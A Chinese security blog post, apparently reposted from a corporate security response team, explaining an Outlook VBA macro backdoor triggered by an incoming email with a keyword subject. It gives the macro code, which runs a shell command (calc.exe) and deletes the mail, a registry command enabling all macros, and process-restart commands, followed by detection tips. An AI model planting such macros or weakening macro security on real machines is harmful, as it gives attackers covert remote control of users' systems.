另外，该后门是通过攻击者向用户发送一封包含特定关键字的邮件进行主动触发从而执行，与平时一般使用的“被动触发“后门明显不同。因此，对该技术进行实验并记录。
>>>> 0x02 技术原理
4 = 不通知，禁用所有宏3 = 为有数字签名的宏提供通知，禁用所有其他宏2 = 为所有宏提供通知1 = 启用所有宏
-
经过实验，原作者提出的修改路径HKCU下对应Level键值无法生效。需修改注册表HKU<用户SID>下的Level键值。 -
如果在修改Level键值之前Outlook已经在运行，那么，在修改Level值后则需要重启Outlook。
>>>> 0x03 攻击利用
'Outlook启动时首先订阅默认收件箱的相关事件Option ExplicitPrivate WithEvents olInboxItems As ItemsPrivate Sub Application_Startup()Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd Sub'回调函数，监听新邮件到达事件Private Sub olInboxItems_ItemAdd(ByVal Item As Object)On Error Resume NextDim olMailItem As MailItemIf TypeOf Item Is MailItem Then' 对邮件主题进行过滤，只有特定关键字主题邮件到达才触发后门执行If InStr(olMailItem.Subject, "通知") > 0 ThenShell "calc.exe"olMailItem.DeleteEnd IfEnd IfSet Item = NothingSet olMailItem = NothingEnd Sub
reg add HKU<USER SID>SOFTWAREMicrosoftOffice16.0OutlookSecurity /v "Level" /t REG_DWORD /d "0x1" /f
wmic process where name="outlook.exe" call terminatewmic process call create "C:Program FilesMicrosoft OfficeOffice16OUTLOOK.EXE"
>>>> 0x04 攻击检测
-
检测%APPDATA%RoamingMicrosoftOutlookVbaProject.OTM文件的创建和修改； -
检测HKU<SID>SoftwareMicrosoftOffice16.0OutlookSecurityLevel键值的修改；
>>>> 0x05 参考
银河实验室
往期推荐
点赞、分享，感谢你的阅读▼
原文始发于微信公众号（平安集团安全应急响应中心）：利用Outlook宏创建基于邮件触发的后门
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论